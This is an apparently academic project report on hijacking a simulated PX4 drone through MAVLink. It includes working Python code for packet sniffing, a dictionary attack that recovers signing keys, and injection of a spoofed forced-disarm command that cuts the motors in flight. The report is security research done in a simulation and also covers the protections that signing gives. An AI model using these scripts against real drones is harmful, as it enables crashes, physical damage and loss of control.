Academic Year 2025 – 2026
Research Unit: 02360125
Supervisor: Prof Avi Mendelson

TECHNION
Israel Institute of Technology

Computer Science / Cyber Security

# Drone Simulation Hijacking: Vulnerabilities in MAVLink Protocol

**Shiraz Shmulman , Dani Rifkind**

March 23, 2026

**Abstract**

The rapid proliferation of the use of Unmanned Aerial Vehicles (UAVs) has raised significant concerns regarding their communication security. This project utilizes a high-fidelity simulation environment (that was set up by the project: "Simulation Framework for GPS Spoofing Attacks" [1]) to analyze vulnerability vectors in the MAVLink protocol. Specifically, we deviate from the standard Micro XRCE-DDS bridge to a MAVLink-based architecture to demonstrate specific attack flows. Our methodology, inspired by the article "Exploiting the Vulnerabilities in MAVLink Protocol for UAV Hijacking" [2] involves two primary phases: attempting a cryptographic dictionary attack to recover signing keys, and implementing a command injection attack (spoofing) to hijack control of the UAV. This report details the architectural modifications required for the attack, the reconnaissance process using packet sniffing, and the successful injection of unauthorized commands.

**Keywords:** UAV, MAVLink, Hijacking, Simulation, Security

# Contents

**1 Introduction** **3**

1.1 MAVLink Protocol Overview . . . . . 3

**2 System Architecture and Setup** **3**

2.1 Transition to MAVLink Architecture . . . . . 3

2.2 Environment Adjustments and Implementation Issues . . . . . 4

2.3 Port Configuration . . . . . 5

**3 Attack Methodology** **5**

3.1 Attack Overview . . . . . 5

3.2 Phase 1: Eavesdropping . . . . . 8

3.3 Phase 2: Dictionary Attack . . . . . 10

3.4 Phase 3: Building the Attack message . . . . . 12

3.5 Phase 4: Command Injection (Hijacking) . . . . . 12

**4 Conclusion** **14**

# 1 Introduction

Unmanned Aerial Vehicles (UAVs) are increasingly reliant on standardized communication protocols to interact with Ground Control Stations (GCS). Among these, MAVLink (Micro Air Vehicle Link) is the most common protocol used in the open-source drone ecosystem (PX4, ArduPilot). However, the lightweight nature of MAVLink often prioritizes efficiency over security, leaving it susceptible to interception and injection attacks.

This project aims to replicate and analyze an attack vector described in the study "Exploiting the Vulnerabilities in MAVLink Protocol for UAV Hijacking." Our objective is to set up a realistic simulation environment, modify the standard communication stack, and demonstrate a successful hijacking scenario.

Unlike prior theoretical analyses, this project implements the full attack chain within a high-fidelity PX4 SITL simulation environment, validating both exploitation and mitigation scenarios under realistic deployment conditions.

## 1.1 MAVLink Protocol Overview

MAVLink (Micro Air Vehicle Link) is a lightweight binary messaging protocol designed for communication between UAVs and Ground Control Stations (GCS). It operates primarily over UDP and serial links and is optimized for low-bandwidth, low-latency environments.

Each MAVLink v2 packet consists of:

- A fixed-length header (10 bytes)
- A variable-length payload
- A 2-byte CRC checksum
- An optional 13-byte signature block

Entities in MAVLink are identified using a *System ID* and *Component ID*. By convention, Ground Control Stations use System ID 255, while autopilots typically use System ID 1. Importantly, MAVLink does not inherently authenticate the source of a message; it relies on optional cryptographic signing.

MAVLink v2 introduces message signing using a 32-byte secret key and HMAC-SHA256. The computed HMAC is truncated to 6 bytes and appended to the packet along with a link identifier and timestamp. While this mechanism provides integrity and authentication guarantees when properly enforced, its security depends entirely on correct configuration and key management.

If signing is disabled or not strictly validated, any entity capable of sending UDP packets to the drone's listening port can impersonate a trusted system and inject commands.

# 2 System Architecture and Setup

## 2.1 Transition to MAVLink Architecture

Modern PX4 simulations sometimes utilize Micro XRCE-DDS for communication between the drone and the onboard computer (ROS 2). We set up an enviroment described in project "Simulation Framework for GPS Spoofing Attacks" [1], there they utilize Micro XRCE-DDS because there it is easier to build customized messages, and that's the approach they used to for thier attack. However, to replicate the vulnerabilities associated with traditional drone telemetry, we modified the architecture to use the MAVLink protocol via the `mavros` package.

The transition required the installation of the MAVLink bridge for ROS 2 Jazzy:

```
sudo apt install ros-jazzy-mavros ros-jazzy-mavros-extras
```

While lunching the simulation, instead of the standard DDS agent, we launch the MAVLink bridge with a specific URL configuration:

```
source /opt/ros/jazzy/setup.bash
ros2 launch mavros px4.launch fcu\_url:="udp://:14540@127.0.0.1:14557"
```

## 2.2 Environment Adjustments and Implementation Issues

While reproducing the environment described in the original GPS spoofing simulation framework [1], several discrepancies were encountered due to differences between the software versions used in the original project and the versions currently available. The following adjustments were required in order to successfully run the system.

**Correct Execution Path** The original project documentation instructs running the following command:

```
python3 ~/ws_sensor_combined/src/offboard_control.py
```

However, in the downloaded repository the script is located in a different directory. The correct execution path is:

```
python3 ~/ws_sensor_combined/src/px4_ros_com/src/examples/offboard_py/
    offboard_control.py
```

**Topic Name Changes in Newer PX4 Versions** Because a newer PX4 firmware version was used, several ROS2 topics were renamed with the suffix `_v1`. As a result, the original Python script did not subscribe to the correct topics.

To resolve this issue, the following modifications were introduced:

```
self.vehicle_local_position_subscriber = self.create_subscription(
    VehicleLocalPosition,
    '/fmu/out/vehicle_local_position_v1',
    self.vehicle_local_position_callback,
    qos_profile)

self.vehicle_status_subscriber = self.create_subscription(
    VehicleStatus,
    '/fmu/out/vehicle_status_v1',
    self.vehicle_status_callback,
    qos_profile)
```

**Verification of Custom Topics** During step 2.14 of the original guide, the command `uorb status` in the PX4 shell did not show the expected topic output. However, when inspecting the ROS2 topic list using:

```
ros2 topic list
```

the topic `/fmu/in/custom_fake_gps` was detected, indicating that the modified communication pipeline was operating correctly.

### 2.3 Port Configuration

A critical aspect of the attack surface is the UDP port mapping used by the PX4 SITL (Software In The Loop). UDP ports act as "two-way doors" for message traffic. The simulation exposes two primary interfaces:

— **Port 14550:** Reserved for the Ground Control Station (QGroundControl).
— **Port 14540:** Reserved for API and Offboard control (ROS 2, MAVSDK).

Our attack strategy focuses on exploiting the API port (14540) to inject commands that override the pilot's inputs.

P.S. the connection between QGC and drones is in port 14550, and they check the connection is valid by sending heartbeats. Also, the ports are known when starting the connection, so they know where they must send messages to.

## 3 Attack Methodology

### 3.1 Attack Overview

Our attack strategy follows a structured multi-phase methodology:

1. **Eavesdropping:** Passive interception of MAVLink telemetry between the Ground Control Station (GCS) and the UAV.
2. **Dictionary Attack:** Attempted recovery of the MAVLink v2 signing key from captured packets.
3. **Command Injection:** Construction and transmission of forged MAVLink messages impersonating the GCS.

Initially, we assumed that MAVLink v2 message signing would be enabled in the simulation environment. In such a scenario, successful hijacking would require recovering the 32-byte signing key by performing a dictionary attack against the truncated HMAC-SHA256 signature attached to each signed packet.

However, packet analysis revealed that MAVLink signing was disabled in the default PX4 SITL configuration. Captured packets did not contain a valid signature field, indicating that communication was operating in unsigned mode. This significantly simplified the hijacking process, as no cryptographic bypass was required.

To properly evaluate the security mechanism proposed in the reference literature[2], we manually enabled signing within the simulation in order to validate the effectiveness of both the attack and the defense mechanisms.

The complete implementation of our attack toolset, simulation scripts, and the mock drone environment is hosted in the following repository: https://github.com/Shiraz-Sh/DroneSimulationHijacking

### 3.1.1 Adding Key to Simulation for Attack Validation

Our attempt to secure the communication channel exposed a critical architectural limitation in the default PX4 Software-In-The-Loop (SITL) firmware.

Although MAVLink v2 supports cryptographic message signing using a 32-byte secret key, enabling signing alone does not automatically enforce strict verification. During testing, we transmitted a `SETUP_SIGNING` command to the PX4 autopilot in the SITL environment, and the firmware successfully stored the signing key.

However, further experimentation revealed that the default SITL configuration does not strictly enforce signature validation on the offboard control interface (UDP 14540). The drone continued to accept unsigned MAVLink commands, indicating that signature verification was not mandatory in this configuration.

It is important to emphasize that this behavior does not indicate a weakness in the MAVLink protocol itself. Rather, it reflects a firmware-level design decision in the default SITL build, which prioritizes development flexibility over strict security enforcement.

Several mitigation approaches were considered:

1. Modifying the PX4 source code to enforce mandatory cryptographic verification for all incoming MAVLink messages.
2. Developing a controlled mock drone environment with strict signature enforcement.

We initially attempted to modify the internal logic of PX4 to enforce strict signature validation. However, during experimentation, multiple architectural challenges were identified:

1. QGroundControl (QGC) transmits unsigned messages by default. Enabling secure communication requires explicit configuration changes within QGC.
2. Certain initial identification and handshake messages between QGC and the drone are transmitted without signatures. Strict enforcement at early stages may block legitimate connections.
3. Standard MAVLink communication libraries often default to MAVLink v1 for backward compatibility. Since cryptographic signing is a feature exclusive to MAVLink v2, we identified that both the autopilot and the external control scripts must be explicitly forced into v2 mode. Failure to synchronize these versions results in either a total loss of communication or an insecure "downgrade" where signatures are stripped entirely.
4. Proper enforcement requires bidirectional signing. The drone must both validate incoming signatures and sign outgoing telemetry. Otherwise, QGC will not enable secure mode.
5. QGC enforces two-way security validation. If incoming telemetry (e.g., heartbeat messages) is unsigned, QGC assumes the link is unsecured and refrains from signing outgoing commands. This creates a deadlock when only partial enforcement is implemented in the firmware.

These observations demonstrate that integrating mandatory signing into a large open-source project such as PX4 requires deep architectural modifications beyond the scope of this project.

To isolate and evaluate the theoretical security guarantees of MAVLink signing, we implemented a Python-based mock drone using the pymavlink library.

The mock drone strictly enforces signature validation through a custom `allow_unsigned_callback` mechanism. This environment allows controlled experimentation without modifying the PX4 firmware internals.

Our validation strategy therefore consists of two separate experimental tracks:

— The real PX4 simulation is used to demonstrate practical hijacking when signing is disabled.
— The mock drone environment is used to demonstrate both successful dictionary attacks and the effectiveness of cryptographic enforcement.

By validating each stage independently, we demonstrate the full attack chain in a theoretically consistent manner.

**Important Technical Observations**

1. **Parser-Level Signature Enforcement:** During implementation, we observed that unsigned packets and incorrectly signed packets are handled differently. Completely unsigned MAVLink v2 packets can be passed to the MAVLink handling logic (because the parser recognizes the MAVLink v2 format but, finding no signature block to validate, treats the packet as a legacy or "open" command and passes it forward to the drone's decision-making logic). However, packets containing invalid cryptographic signatures are silently discarded at the MAVLink parser level before reaching any higher-level logic. This occurs because signature verification (HMAC-SHA256) is performed at the lowest communication layer.
2. **Port Selection Consistency:** The mock drone was configured to operate on UDP port 14550, which is the default GCS communication channel in PX4. This design ensures that attack scripts and sniffing tools operate identically across both environments without modification.

The code for the mock drone in mock_drone.py (Note that we have given a certain password to mock drone, but it can be changed):

```
import time
import os
import hashlib

# 1. Force MAVLink 2.0 (Required for signatures)
os.environ["MAVLINK20"] = "1"
from pymavlink import mavutil

# 2. Boot up the Mock Drone (System ID 1)
print("[BOOT] Starting Mock Drone...")
drone = mavutil.mavlink_connection('udpout:127.0.0.1:14550',
    source_system=1, source_component=1)

# ====================================================================
# --- THE GCS HASHING MECHANISM (From the Academic Paper) ---

# 1. A normal human password (must be inside words.py wordlist for the
    dictionary attack to succeed)
HUMAN_PASSWORD = "ardupilot"

# 2. Hash the password with SHA-256 to create the 32-byte MAVLink key
SECRET_KEY = hashlib.sha256(HUMAN_PASSWORD.encode('utf-8')).digest()

# --- THE REPORTING FIREWALL ---
# This function catches packets right before pymavlink drops them.
def catch_unsigned(mav, msgId):
    # Message ID 76 is COMMAND_LONG
    if msgId == mavutil.mavlink.MAVLINK_MSG_ID_COMMAND_LONG:
        print(f"\n[INCOMING] Attack Detected! (Command ID: {msgId})")
        print(" -> [FIREWALL BLOCKED] WARNING: Dropped unsigned and wrong
            password attack packet!")
```

```
        print(" -> [DRONE STATE] Drone ignoring attack and flying safely.
            ")
        print("-----------------------------------------------------")
        return False # 'False' tells pymavlink to destroy the packet!

    return True # Allow harmless unsigned things (like QGC pings) through


# Give the password to the drone so it can mathematically verify
    attackers
drone.setup_signing(SECRET_KEY, sign_outgoing=False,
    allow_unsigned_callback=catch_unsigned)
print(f"[SECURITY] Drone locked with key: {HUMAN_PASSWORD}")
# ==================================================================

print("[BOOT] Drone is airborne and broadcasting heartbeats.")
print("-----------------------------------------------------")

last_heartbeat = 0

# 3. The Drone's Main Brain Loop
while True:
    current_time = time.time()

    # --- A. SEND HEARTBEATS ---
    if current_time - last_heartbeat > 1.0:
        drone.mav.heartbeat_send(
            mavutil.mavlink.MAV_TYPE_QUADROTOR,
            mavutil.mavlink.MAV_AUTOPILOT_PX4,
            0, 0, 0
        )
        last_heartbeat = current_time

    # --- B. LISTEN FOR ATTACKS & FIREWALL ---
    msg = drone.recv_match(blocking=False)

    # Because our callback destroys unsigned and wrong password commands,
        ONLY signed ones with right password make it here!
    if msg and msg.get_type() == 'COMMAND_LONG':
        print(f"\n[INCOMING] Received Command ID: {msg.get_msgId()} from
            System {msg.get_srcSystem()}")
        print(" -> [FIREWALL PASSED] Cryptographic signature matches the
            password!")
        print(" -> [DRONE STATE] Got a malicious message - resulting in
            drone crashing!")
        print("-----------------------------------------------------")

    time.sleep(0.01)
```

### 3.2 Phase 1: Eavesdropping

The first phase of the attack involved eavesdropping on the communication link between the GCS and the UAV. We utilized the Python library `scapy` to create a network sniffer capable of capturing UDP packets on the loopback interface.

The following script of spy_drone.py is doing the needed eavesdropping and also executes the dictionary

attack from the next phase:

```
from scapy.all import sniff, UDP
from cracker import crack
from pymavlink import mavutil
import os
from cracker import crack

# Without this, the sniffer won't know how to read the signature bytes!
os.environ["MAVLINK20"] = "1"

# Connect to the snooping port
mav = mavutil.mavlink.MAVLink(None)

def packet_callback(packet):
    # Check if the packet has a UDP layer
    # Scapy captures anything (Ethernet -> IP -> UDP), so this checks
    # if we have UDP data inside.
    if packet.haslayer(UDP):

        # We only care about traffic going TO or FROM port 14550
        # .sport = Source Port, .dport = Destination Port
        if packet[UDP].sport == 14550 or packet[UDP].dport == 14550:

            # Extract the raw payload (the MAVLink bytes)
            # packet[UDP].payload is the actual MAVLink message, we
            # convert it to standard python bytes.
            raw_data = bytes(packet[UDP].payload)

            # Print minimal info (Length of data)
            print(f"Captured Packet: {len(raw_data)} bytes | Source Port:
                {packet[UDP].sport}")

            try:
                # Parse the message
                msgs = mav.parse_buffer(raw_data)
                if msgs:
                    for msg in msgs:
                        # CHECK FOR SIGNING
                        # Check if the "Signature Flag" is flipped on
                        is_signed = msg._header.incompat_flags & mavutil.
                            mavlink.MAVLINK_IFLAG_SIGNED

                        if is_signed:
                            print(f"\n[SNIFFER] WARNING: Message {msg.
                                get_type()} is SIGNED! (Key is active)")
                            print("[SNIFFER] Capturing packet and
                                initiating Dictionary Attack...")

                            # Feed the raw bytes we captured into the
                                cracker
                            recovered_key = crack(raw_data)

                            if recovered_key:
                                print(f"\n[SUCCESS] CRITICAL BREACH!
                                    Password found: {recovered_key}")
                            else:
```

```
                                print("\n[FAILED] Password not found in
                                    dictionary.")

                        else:
                            print(f"[SNIFFER] Message {msg.get_type()} is
                                UNSIGNED (No Key used)")

            except Exception as e:
                print(e)

# Start Sniffing
# iface="lo" -> Listen on Loopback (my internal simulation network)
# filter="udp port 14550" -> Only capture drone traffic
# store=0 -> Don't keep packets in RAM
print("Starting Sniffer... (Ctrl+C to stop)")
sniff(iface="lo", filter="udp port 14550", prn=packet_callback, store=0)
```

### 3.3 Phase 2: Dictionary Attack

Afterwards, we commit the dictionary attack, which a standard offline dictionary attack.

The dictionary attack itself is performed in parallel to speed up the process. The code for that is in dictionaryAttack.py.

In the cracker.py file we take the message we captured, generate a list of words, and invoke the dictionary_attack function defined in dictionaryAttack.py.

The word list generation uses a set of predefined words together with different combinations of predefined prefixes and suffixes.

We have the words.py + dictionaryAttack.py + cracker.py files to carry out the attack. We will attach dictionaryAttack.py and cracker.py files here.

dictionaryAttack.py file:

```
import hashlib
import struct
import multiprocessing as mp

def sha256(b):
    return hashlib.sha256(b).digest()

def compute_sig(password, header, payload, crc, link_id, timestamp):
    key = sha256(password.encode())
    mac = sha256(key + header + payload + crc + link_id + timestamp)
    return mac[:6]

def worker(args):
    password, fields, target = args
    sig = compute_sig(password, *fields)
    if sig == target:
        return password
    return None

def dictionary_attack(
```

```
    wordlist, header, payload, crc, link_id, timestamp, target_sig
):
    fields = (header, payload, crc, link_id, timestamp)
    with mp.Pool(mp.cpu_count()) as pool:
        for result in pool.imap_unordered(
            worker,
            [(w, fields, target_sig) for w in wordlist],
            chunksize=1000,
        ):
            if result:
                pool.terminate()
                return result
    return None
```

cracker.py file:

```
from dictionaryAttack import dictionary_attack
from words import generate_wordlist

def crack(msg: bytes):
    # Byte 1 of a MAVLink v2 packet is the Payload Length (LEN)
    payload_len = msg[1]

    # Calculate exactly where the different sections end
    payload_end = 10 + payload_len
    crc_end = payload_end + 2

    # Dynamically slice the packet based on its actual size
    header = msg[:10]
    payload = msg[10:payload_end]
    crc = msg[payload_end:crc_end]
    link_id = msg[crc_end:crc_end+1]
    timestamp = msg[crc_end+1:crc_end+7]
    target_signature = msg[crc_end+7:crc_end+13]

    print(f"[CRACKER] Target signature extracted: {target_signature.hex()
        }")

    return dictionary_attack(
        generate_wordlist(),
        header,
        payload,
        crc,
        link_id,
        timestamp,
        target_signature,
    )
```

### 3.3.1 Execution of the Mock Drone Attack

The spy_drone.py script consolidates both the network eavesdropping and the dictionary attack phases into a single automated tool. To validate this implementation, a controlled experiment was conducted utilizing three parallel terminal sessions:

— **Terminal 1:** Executed the mock drone script to simulate the active UAV target.

— **Terminal 2:** Deployed the spy_drone.py script to passively monitor and capture network traffic.
— **Terminal 3:** Simulated a legitimate Ground Control Station (GCS) by injecting cryptographically signed MAVLink commands using the correct secret key.

The primary objective of this setup was to replicate a real-world adversarial scenario where an attacker successfully eavesdrops on the authorized communication link between QGroundControl (QGC) and a UAV. To ensure the mock environment accurately modeled this genuine operational architecture, the communication was explicitly routed over UDP port 14550, which serves as the default network channel for QGC telemetry and command traffic.

We successfully carried out this attack in the environment we built, so now we can focus on the other part of our project.

## 3.4 Phase 3: Building the Attack message

The goal was to forge a message that mimics the Ground Control Station (GCS) and forces the drone to execute an unauthorized action (e.g., Disarm).

The injected message utilizes the `MAV_CMD_COMPONENT_ARM_DISARM` command, which is typically used for pre-flight arming or post-landing disarming. However, by setting the first parameter to 0 (Disarm) and the second parameter to the "Magic Number" 21196, the attacker triggers a forced emergency disarm.

In the PX4 firmware, this specific combination bypasses the standard safety checks that usually prevent disarming while the drone's sensors detect it is in flight. Consequently, the firmware immediately kills power to the motors. In a real-world scenario (and within our SITL environment), this results in a complete loss of lift and a catastrophic "crash to ground" (as noted in our code's output), effectively destroying the UAV or its payload without the need for complex flight maneuvers.

### 3.4.1 Spoofing the GCS Identity

Successful command injection requires impersonating a trusted system. In MAVLink, entities are identified by their System ID. By convention, Ground Control Stations use System ID 255.

By crafting MAVLink packets with `source_system=255` and transmitting them to the drone's listening port (UDP 14540), we effectively impersonated the GCS. Since message signing was disabled, the drone accepted the forged commands without authentication.

## 3.5 Phase 4: Command Injection (Hijacking)

With the knowledge that the link was unsecured, we proceeded to the hijacking phase. We sent the message we forged in former phase.

inject.py file:

```
import time
from pymavlink import mavutil

# 1. CONNECT (Use 'udp' to talk TO the drone)
# We use udp:localhost:14540 to target the standard PX4 offboard port.
connection = mavutil.mavlink_connection('udp:localhost:14550',
    source_system=255)

print("Scanning for DRONE (System 1)")

# We loop and ignore any heartbeat that is NOT from System 1
```

```
while True:
    msg = connection.wait_heartbeat()
    sys_id = msg.get_srcSystem()

    if sys_id == 1:
        print(f" >> LOCKED ON: Drone found! (System {sys_id})")
        # Set the target to the drone
        connection.target_system = sys_id
        connection.target_component = msg.get_srcComponent()
        break
    else:
        print(f"Ignoring signal from System {sys_id} (Likely QGC)...")

print(f"Target Acquired: System {connection.target_system}, Component {
    connection.target_component}")

# 4. ATTACK
print("INJECTING DISARM COMMAND...")
for i in range(3):
    connection.mav.command_long_send(
        connection.target_system,
        connection.target_component,
        mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM,
        0,
        0,    # Param 1: 0 = Disarm
        21196,# Param 2: Force Disarm Magic Number
        0, 0, 0, 0, 0
    )
    time.sleep(0.1)

print("Command Sent. Drone should be falling.")
```

### 3.5.1 Execution of the Attack

In order to check whether the attack with the message worked - We need to start the simulation environment that consists of four distinct terminals running in parallel.

**Terminal 1 - PX4 + Gazebo Simulator:**

```
cd ~/PX4-Autopilot/
make px4_sitl gz_x500
```

**Terminal 2 - QGroundControl:**

```
./QGroundControl-x86_64.AppImage
```

**Terminal 3 - MAVLink Bridge:**

```
source /opt/ros/jazzy/setup.bash
ros2 launch mavros px4.launch
fcu_url:="udp://:14540@127.0.0.1:14557"
```

**Terminal 4 - ROS2 Commands**

```
source ~/ws_sensor_combined/install/setup.bash
python3 ~/ws_sensor_combined/src/px4_ros_com/src/examples/offboard_py/
    offboard_control.py
```

**Terminal 5 - Attacker Script:** We'll just run inject.py script.

We successfully carried out this attack in the larger simulation.

# 4 Conclusion

This project demonstrates the practical security risks associated with improperly secured MAVLink telemetry links in UAV systems. Through controlled experimentation in a PX4 Software-In-The-Loop (SITL) environment, we analyzed the behavior of MAVLink v2 communication and evaluated its resilience to command injection attacks.

Our findings confirm that although MAVLink v2 provides cryptographic message signing as a built-in security mechanism, this feature is optional and not enforced by default in typical simulation configurations. When authentication is disabled, attackers can passively intercept telemetry traffic and inject forged control commands without needing to bypass cryptographic protections.

The successful injection of a disarm command highlights the operational severity of such misconfigurations. In real-world deployments, similar vulnerabilities could enable denial-of-service attacks, mission disruption, unauthorized command execution, and even gaining full control of the UAV, or potentially physical damage.

Importantly, our experiments distinguish between protocol-level security and firmware-level enforcement. MAVLink v2 signing, when properly configured and strictly validated, effectively prevents simple unauthorized command injection. As demonstrated in our mock environment, even with signing enabled, the system remains vulnerable to key recovery via dictionary attacks. This highlights that security in UAV ecosystems depends not only on protocol adoption but also on the cryptographic strength of the shared secret.

Future research directions include:

- Enforcing MAVLink v2 message signing by default in development and deployment environments.
- Evaluating the computational feasibility of large-scale key recovery attacks against truncated HMAC signatures.
- Designing detection mechanisms for spoofed or anomalous telemetry sources.
- Studying secure key distribution and lifecycle management in UAV ecosystems.

As unmanned aerial vehicles become increasingly integrated into commercial, industrial, and governmental operations, securing communication protocols must be treated as a fundamental design requirement rather than an optional configuration.

# References

[1] Dekel, O. and Bercovich, E. *Simulation Framework for GPS Spoofing Attacks*. Project report supervised by Prof. Avi Mendelson. Technion – Israel Institute of Technology, 2025.

[2] Du, F., Ge, J., Wang, W., Zou, Y., Chang, S.-Y., and Fan, W. "Exploiting the Vulnerabilities in MAVLink Protocol for UAV Hijacking". In: *International Journal of Advanced Computer Science and Applications* (2023). DOI: 10.14569/IJACSA.2023.0140781.